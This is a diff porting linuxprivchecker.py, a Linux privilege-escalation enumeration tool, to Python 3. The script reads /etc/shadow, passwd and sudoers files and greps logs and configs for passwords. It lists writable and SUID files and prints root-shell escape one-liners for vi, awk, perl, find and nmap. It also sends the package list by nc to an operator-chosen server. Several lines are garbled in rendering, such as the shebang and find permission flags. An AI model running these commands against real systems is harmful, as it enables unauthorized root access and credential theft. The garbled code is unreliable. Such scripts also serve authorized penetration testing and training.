1 - #!/usr/env python 1 + #!/usr/bin / env python3 2 2 3 3 ############################################################################################################### 4 - ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script 4 + ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script for python 3 5 5 ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift 6 + ## [Updater]: Mike Merrill (linted) 6 7 ##------------------------------------------------------------------------------------------------------------- 7 8 ## [Details]: 8 9 ## This script is intended to be executed locally on a Linux box to enumerate basic system info and skipped 1 lines 10 11 ## passwords and applicable exploits. 11 12 ##------------------------------------------------------------------------------------------------------------- 12 13 ## [Warning]: 13 - ## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates , 14 - ## I did not write it to be efficient and in some cases you may find the functions may not produce the desired 15 - ## results. For example, the function that links packages to running processes is based on keywords and will 16 - ## not always be accurate. Also, the exploit list included in this function will need to be updated over time. 17 - ## Feel free to change or improve it any way you see fit. 14 + ## This script comes as-is with no promise of functionality or accuracy. 18 15 ##------------------------------------------------------------------------------------------------------------- 19 16 ## [Modification, Distribution, and Attribution]: 20 17 ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original 21 - ## author attribution and not attempt to sell it or incorporate it into any commercial offering ( as if it ' s 22 - ## worth anything anyway :) 18 + ## author attribution and not attempt to sell it or incorporate it into any commercial offering. 23 19 ############################################################################################################### 24 20 25 21 # conditional import for older versions of python not compatible with subprocess 26 - try: 27 - import subprocess as sub 28 - compatmode = 0 # newer version of python, no need for compatibility mode 29 - except ImportError: 30 - import os # older version of python, need to use os instead 31 - compatmode = 1 22 + from sys import version_info 23 + if version_info >= (3,5): 24 + #import subprocess as sub 25 + from subprocess import run, PIPE 26 + def do_cmd(cmd): 27 + return run(cmd, stdout=PIPE, stderr=PIPE, shell=True).stdout 28 + elif version_info >= (3,): 29 + #import os # older version of python, need to use ### instead 30 + from subprocess import check_output, STDOUT 31 + def do_cmd(cmd): 32 + return check_output(cmd, shell=True, stderr=STDOUT) 33 + else: 34 + print("Error: please run in python3 only.") 35 + exit(1) 32 36 33 37 # title / formatting 34 - bigline = "=================================================================================================" 35 - smlline = "-------------------------------------------------------------------------------------------------" 38 + bigline = "=" * 80 39 + smlline = "-" * 80 40 + 36 41 37 - print bigline 38 - print "LINUX PRIVILEGE ESCALATION CHECKER" 39 - print bigline 40 - print 42 + 43 + def header(message): 44 + print( bigline) 45 + print( message ) 46 + print(bigline) 47 + print("") 41 48 42 49 # loop through dictionary, execute the commands, store the results, return updated dict 43 50 def execCmd(cmdDict): 44 51 for item in cmdDict: 45 52 cmd = cmdDict[item]["cmd"] 46 - if compatmode == 0: # newer version of python, use preferred subprocess 47 - out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() 48 - results = out .split('\n') 49 - else: # older version of python, use os.popen 50 - echo_stdout = os.popen(cmd, 'r') 51 - results = echo_stdout.read().split('\n') 53 + try: 54 + stdout = do_cmd(cmd) 55 + results = stdout . decode ( ) .split('\n') 56 + except Exception as e: 57 + results = ['[-] failed: {}'.format(e)] 52 58 cmdDict[item]["results"]=results 59 + 53 60 return cmdDict 54 61 55 62 # print results for each previously executed command, no return value 56 63 def printResults(cmdDict): 57 64 for item in cmdDict: 58 - msg = cmdDict[item]["msg"]59 - results = cmdDict[item]["results"]60 - print "[+] " + msg 65 + msg = cmdDict[item]["msg"] 66 + results = cmdDict[item]["results"] 67 + print( "[+] " + msg) 61 68 for result in results: 62 - if result.strip() != "":63 - print " " + result.strip()64 - print 69 + if result.strip() != "": 70 + print( " " + result.strip()) 71 + print( " \ n " ) 65 72 return 66 73 67 74 def writeResults(msg, results): skipped 5 lines 73 80 f.close() 74 81 return 75 82 76 - # Basic system info 77 - print "[*] GETTING BASIC SYSTEM INFO...\n" 83 + header("LINUX PRIVILEGE ESCALATION CHECKER") 78 84 79 - results=[] 85 + # Basic system info 86 + print( "[*] GETTING BASIC SYSTEM INFO...\n") 80 87 81 - sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System", " results " : results }, 82 - "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel", " results " : results }, 83 - "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", " results " : results }84 - } 88 + sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System"}, 89 + "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel"}, 90 + "HOSTNAME":{"cmd":"hostname", "msg":"Hostname"} 91 + }85 92 86 93 sysInfo = execCmd(sysInfo) 87 94 printResults(sysInfo) 88 95 89 96 # Networking Info 90 97 91 - print "[*] GETTING NETWORKING INFO...\n" 98 + print( "[*] GETTING NETWORKING INFO...\n") 92 99 93 - netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", " results " : results }, 94 - "ROUTE":{"cmd":"route", "msg":"Route", " results " : results },95 - "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", " results " : results }96 - } 100 + netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces"}, 101 + "ROUTE":{"cmd":"route", "msg":"Route"}, 102 + "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat"}, 103 + "IP_Adder":{"cmd":"ip addr", "msg":"ip addr"}, 104 + "IP_Route":{"cmd":"ip route", "msg":"ip route"}, 105 + "SS":{"cmd":"ss -antup", "msg":"ss"} 106 + } 97 107 98 108 netInfo = execCmd(netInfo) 99 109 printResults(netInfo) 100 110 101 111 # File System Info 102 - print "[*] GETTING FILESYSTEM INFO...\n" 112 + print( "[*] GETTING FILESYSTEM INFO...\n") 103 113 104 - driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", " results " : results }, 105 - "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", " results " : results }106 - } 114 + driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results"}, 115 + "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries"} 116 + }107 117 108 118 driveInfo = execCmd(driveInfo) 109 119 printResults(driveInfo) 110 120 111 121 # Scheduled Cron Jobs 112 - cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", " results " : results }, 113 - "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", " results " : results }114 - } 122 + cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs"}, 123 + "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs"} 124 + }115 125 116 126 cronInfo = execCmd(cronInfo) 117 127 printResults(cronInfo) 118 128 119 129 # User Info 120 - print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" 130 + print( "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n") 121 131 122 - userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", " results " : results }, 123 - "ID":{"cmd":"id","msg":"Current User ID", " results " : results },124 - "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", " results " : results },125 - "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", " results " : results },126 - "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", " results " : results },127 - "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", " results " : results },128 - "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", " results " : results },129 - "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", " results " : results }130 - } 132 + userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User"}, 133 + "ID":{"cmd":"id","msg":"Current User ID"}, 134 + "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users"}, 135 + "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:"}, 136 + "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)"}, 137 + "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment"}, 138 + "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)"}, 139 + "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity"} 140 + }131 141 132 142 userInfo = execCmd(userInfo) 133 143 printResults(userInfo) 134 144 135 145 if "root" in userInfo["ID"]["results"][0]: 136 - print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" 146 + print( "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n") 137 147 138 148 # File/Directory Privs 139 - print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" 149 + print( "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n") 140 150 141 - fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename ' / home / homedir * ' - prune \ ) - o \ ( - type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", " results " : results }, 142 - "WWDIRS":{"cmd":"find / \( -wholename ' / home / homedir * ' - prune \ ) - o \ ( - type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", " results " : results },143 - "WWFILES":{"cmd":"find / \( -wholename '/home / homedir / * ' - prune - o - wholename ' / proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", " results " : results },144 - "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", " results " : results },145 - "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", " results " : results }146 - } 151 + fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -type d -perm -o + w \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'"}, 152 + "WWDIRS":{"cmd":"find / \( -type d -perm -o + w \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root"}, 153 + "WWFILES":{"cmd":"find / \( -wholename '/proc/*' -prune \) -o \( -type f -perm -o + w \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files"}, 154 + "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories"}, 155 + "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible"} 156 + }147 157 148 158 fdPerms = execCmd(fdPerms) 149 159 printResults(fdPerms) 150 160 151 - pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", " results " : results }, 152 - "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", " results " : results },153 - "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", " results " : results }154 - } 161 + pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'"}, 162 + "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'"}, 163 + "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)"} 164 + }155 165 156 166 pwdFiles = execCmd(pwdFiles) 157 167 printResults(pwdFiles) 158 168 159 169 # Processes and Applications 160 - print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" 170 + print( "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n") 161 171 162 172 if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: 163 173 getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian 164 174 else: 165 175 getPkgs = "rpm -qa | sort -u" # RH/other 166 176 167 - getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", " results " : results }, 168 - "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", " results " : results } 169 - } 177 + getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes"}, 178 + "PKGS":{"cmd":getPkgs, "msg":"Installed Packages"} } 170 179 171 180 getAppProc = execCmd(getAppProc) 172 181 printResults(getAppProc) # comment to reduce output 173 182 174 - otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", " results " : results }, 175 - "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", " results " : results },176 - "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", " results " : results }177 - } 183 + otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)"}, 184 + "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules"}, 185 + "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File"} }178 186 179 187 otherApps = execCmd(otherApps) 180 188 printResults(otherApps) 181 189 182 - print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" 190 + print( "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n") 183 191 184 192 # find the package information for the processes currently running 185 193 # under root or another super user skipped 6 lines 192 200 for proc in procs: # loop through each process 193 201 relatedpkgs = [] # list to hold the packages related to a process 194 202 try: 195 - for user in supusers: # loop through the known super users196 - if (user != "") and (user in proc): # if the process is being run by a super user197 - procname = proc.split(" ")[4] # grab the process name 198 - if "/" in procname:199 - splitname = procname.split("/")200 - procname = splitname[len(splitname)-1]201 - for pkg in pkgs: # loop through the packages 202 - if not len(procname) < 3: # name too short to get reliable package results203 - if procname in pkg: 204 - if procname in procdict: 205 - relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list206 - if pkg not in relatedpkgs:207 - relatedpkgs.append(pkg) # add pkg to the list208 - procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 203 + for user in supusers: # loop through the known super users 204 + if (user != "") and (user in proc): # if the process is being run by a super user 205 + procname = proc.split(" ")[4] # grab the process name 206 + if "/" in procname: 207 + splitname = procname.split("/") 208 + procname = splitname[len(splitname)-1] 209 + for pkg in pkgs: # loop through the packages 210 + if not len(procname) < 3: # name too short to get reliable package results 211 + if procname in pkg: 212 + if procname in procdict: 213 + relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list 214 + if pkg not in relatedpkgs: 215 + relatedpkgs.append(pkg) # add pkg to the list 216 + procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 209 217 except: 210 - pass 218 + pass211 219 212 220 for key in procdict: 213 - print " " + key # print the process name 221 + print( " " + key) # print the process name 214 222 try: 215 223 if not procdict[key][0] == "": # only print the rest if related packages were found 216 - print " Possible Related Packages: " 224 + print( " Possible Related Packages: ") 217 225 for entry in procdict[key]: 218 - print " " + entry # print each related package 226 + print( " " + entry) # print each related package 219 227 except: 220 - pass 228 + pass221 229 222 230 # EXPLOIT ENUMERATION 223 231 224 232 # First discover the avaialable tools 225 - print 226 - print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" 233 + print("\n[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n") 227 234 228 - devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", " results " : results }} 235 + devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools"}} 229 236 devTools = execCmd(devTools) 230 237 printResults(devTools) 231 238 232 - print "[+] Related Shell Escape Sequences...\n" 239 + print( "[+] Related Shell Escape Sequences...\n") 233 240 escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} 234 241 for cmd in escapeCmd: 235 242 for result in devTools["TOOLS"]["results"]: 236 243 if cmd in result: 237 - for item in escapeCmd[cmd]:238 - print " " + cmd + "-->\t" + item239 - print 240 - print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" 244 + for item in escapeCmd[cmd]: 245 + print( " " + cmd + "-->\t" + item) 246 + print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n") 241 247 242 - question = raw_input ("[?] Would you like to search for possible exploits? [y/N] ") 248 + question = input ("[?] Would you like to search for possible exploits? [y/N] ") 243 249 if 'y' in question.lower(): 244 - server = raw_input ("[?] What is the address of the server? ") 245 - port = raw_input ("[?] What port is the server using? ") 246 - print "[ ] Connecting to {}:{}".format(server,port) 250 + server = input ("[?] What is the address of the server? ") 251 + port = input ("[?] What port is the server using? ") 252 + print( "[ ] Connecting to {}:{}".format(server,port)) 247 253 exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}} 248 254 exploits_results = execCmd(exploits) 249 255 printResults(exploits) 250 256 251 - print 252 - print "Finished" 253 - print bigline 257 + print("\n[+] Finished") 258 + print(bigline) 254 259